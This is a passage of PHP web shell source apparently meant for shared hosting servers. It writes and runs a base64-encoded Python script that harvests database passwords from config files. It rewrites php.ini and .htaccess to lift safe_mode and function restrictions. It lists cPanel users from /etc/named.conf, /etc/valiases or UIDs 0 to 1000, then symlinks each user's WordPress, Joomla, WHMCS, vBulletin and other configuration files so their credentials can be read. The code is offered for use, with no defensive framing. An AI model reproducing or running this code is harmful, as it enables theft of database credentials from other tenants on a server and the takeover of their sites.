ud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
470$file = fopen("cp.py","w+");
471$write = fwrite ($file ,base64_decode($cp));
472fclose($file);
473chmod("cp.py",0755);
474$url = $_POST['url'];
475echo"<center>
476<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
477system("python cp.py $url config");
478unlink ('cp.py');
479echo"</textarea>
480</center>";
481echo "<hr><center><b><a href=".$_SERVER['PHP_SELF']."?brute>BACK</a>";
482exit;
483}
484if($_POST['matikan']=='sekatan'){
485@error_reporting(0);
486$phpini =
487'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
488$file = fopen("php.ini","w+");
489$write = fwrite ($file ,base64_decode($phpini));
490fclose($file);
491$htaccess =
492'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
493$file = fopen(".htaccess","w+");
494$write = fwrite ($file ,base64_decode($htaccess));
495echo "<hr><center><b>DONE!";
496echo "<hr><center><b><a href=".$_SERVER['PHP_SELF']."?brute>BACK</a>";
497exit;
498}
499if($_POST['mendapatkan']=='passwd'){
500@set_magic_quotes_runtime(0);
501ob_start();
502error_reporting(0);
503@set_time_limit(0);
504@ini_set('max_execution_time',0);
505@ini_set('output_buffering',0);
506$fn = $_POST['foldername'];
507//all function here
508
509function syml($usern,$pdomain)
510 {
511 symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
512 symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
513 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
514 symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
515 symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
516 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
517 symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
518 symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
519 symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
520 symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
521 symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
522 symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
523 symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
524 symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
525 symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
526 symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
527 symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
528 symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
529 symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
530 symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
531 symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
532 symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
533 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
534 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
535 symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
536 symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
537 symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
538 symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
539 symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
540 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
541 symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
542 symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
543 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
544 symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
545 symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
546 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
547 symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
548 symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
549 symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
550 symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
551 symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
552 symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
553 symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
554 symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
555 symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
556 symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
557 symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
558 symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
559 symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
560 symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
561 symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
562 symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
563 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
564 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
565 symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
566 symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
567 symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
568 symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
569 symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
570 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
571 symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
572 symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
573 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
574 symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
575 symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
576 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
577 symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
578 symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
579 symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
580 symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
581 symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
582 symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
583 symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
584 symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
585 symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
586 symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
587 symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
588 symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
589 symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
590 symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
591 symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
592 symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
593 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
594 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
595 symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
596 symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
597 symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
598 symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
599 symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
600 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
601 symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
602 symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
603 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
604 symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
605 symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
606 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
607 symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
608 symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
609 symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
610 symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
611 symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
612 symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
613 symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
614 symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
615 symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
616 symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
617 symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
618 symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
619 symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
620 symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
621 symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
622 symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
623 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
624 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
625 symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
626 symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
627 symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
628 symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
629 symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
630 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
631 symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
632 symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
633 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
634 symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
635 symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
636 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
637 symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
638 symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
639 symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
640 symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
641 symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
642 symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
643 symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
644 symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
645 symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
646 symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
647 symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
648 symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
649 symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
650 symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
651 symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
652 symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
653 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
654 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
655 symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
656 symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
657 symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
658 symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
659 symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
660 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
661 symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
662 symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
663 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
664 symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
665 symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
666 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
667 symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
668 symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
669 symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
670 symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
671 symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
672 symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
673 symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
674 symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
675 symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
676 symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
677 symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
678 symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
679 symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
680 symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
681 symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
682 symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
683 symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
684 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
685 symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
686 symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
687 symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
688 symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
689 symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
690 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
691 symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
692 symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
693 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
694 symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
695 symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
696 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
697 symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
698 symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
699 symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
700 symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
701 symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
702 symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
703 symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
704 symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
705 symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
706 symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
707 symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
708 symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
709 symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
710 symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
711 symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
712 symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
713 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
714 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
715 symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
716 symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
717 symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
718 symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
719 symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
720 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
721 }
722
723 $d0mains = @file("/etc/named.conf");
724
725 if($d0mains)
726 {
727 mkdir($fn);
728 chdir($fn);
729
730 foreach($d0mains as $d0main)
731 {
732 if(eregi("zone",$d0main))
733 {
734 preg_match_all('#zone "(.*)"#', $d0main, $domains);
735 flush();
736
737 if(strlen(trim($domains[1][0])) > 2)
738 {
739 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
740
741 syml($user['name'],$domains[1][0]);
742 }
743 }
744 }
745 echo "<center><font color=lime size=3>Done</font></center>";
746 echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>Here</font></a></center>";
747 }
748 else
749 {
750 mkdir($fn);
751 chdir($fn);
752 $temp = "";
753 $val1 = 0;
754 $val2 = 1000;
755 for(;$val1 <= $val2;$val1++)
756 {
757 $uid = @posix_getpwuid($val1);
758 if ($uid)
759 $temp .= join(':',$uid)."\n";
760 }
761 echo '<br/>';
762 $temp = trim($temp);
763
764 $file5 = fopen("test.txt","w");
765 fputs($file5,$temp);
766 fclose($file5);
767
768$htaccess =
769'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
770aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
771biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
772';
773$file = fopen(".htaccess","w+");
774$write = fwrite ($file ,base64_decode($htaccess));
775
776 $file = fopen("test.txt", "r") or exit("Unable to open file!");
777 while(!feof($file))
778 {
779 $s = fgets($file);
780 $matches = array();
781 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
782 $matches = str_replace("home/","",$matches[1]);
783 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
784 continue;
785 syml($matches,$matches);
